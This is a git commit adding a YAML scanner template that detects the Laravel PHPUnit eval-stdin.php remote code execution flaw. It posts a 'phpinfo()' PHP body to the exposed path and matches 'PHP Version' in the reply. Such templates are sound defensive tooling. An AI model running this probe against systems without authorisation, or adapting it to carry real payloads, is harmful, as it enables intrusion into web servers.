Create laravel-phpunit-rce.yaml

2021-07-04 02:56:43 +00:00 · 2021-07-04 02:56:43 +00:00 · 3a72926d54
parent d50459eb9b
commit 3a72926d54
1 changed files with 29 additions and 0 deletions
--- a/vulnerabilities/laravel/laravel-phpunit-rce.yaml
+++ b/vulnerabilities/laravel/laravel-phpunit-rce.yaml
@ -0,0 +1,29 @@
+id: laravel-phpunit-rce
+
+info:
+  name: Laravel Phpunit RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://twitter.com/sec715/status/1411517028012158976
+  tags: laravel,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
+    headers:
+      Content-Type: text/html
+    body: |
+      <?php phpinfo();?>
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "PHP Version"
+        part: body
+
+      - type: status
+        status:
+          - 200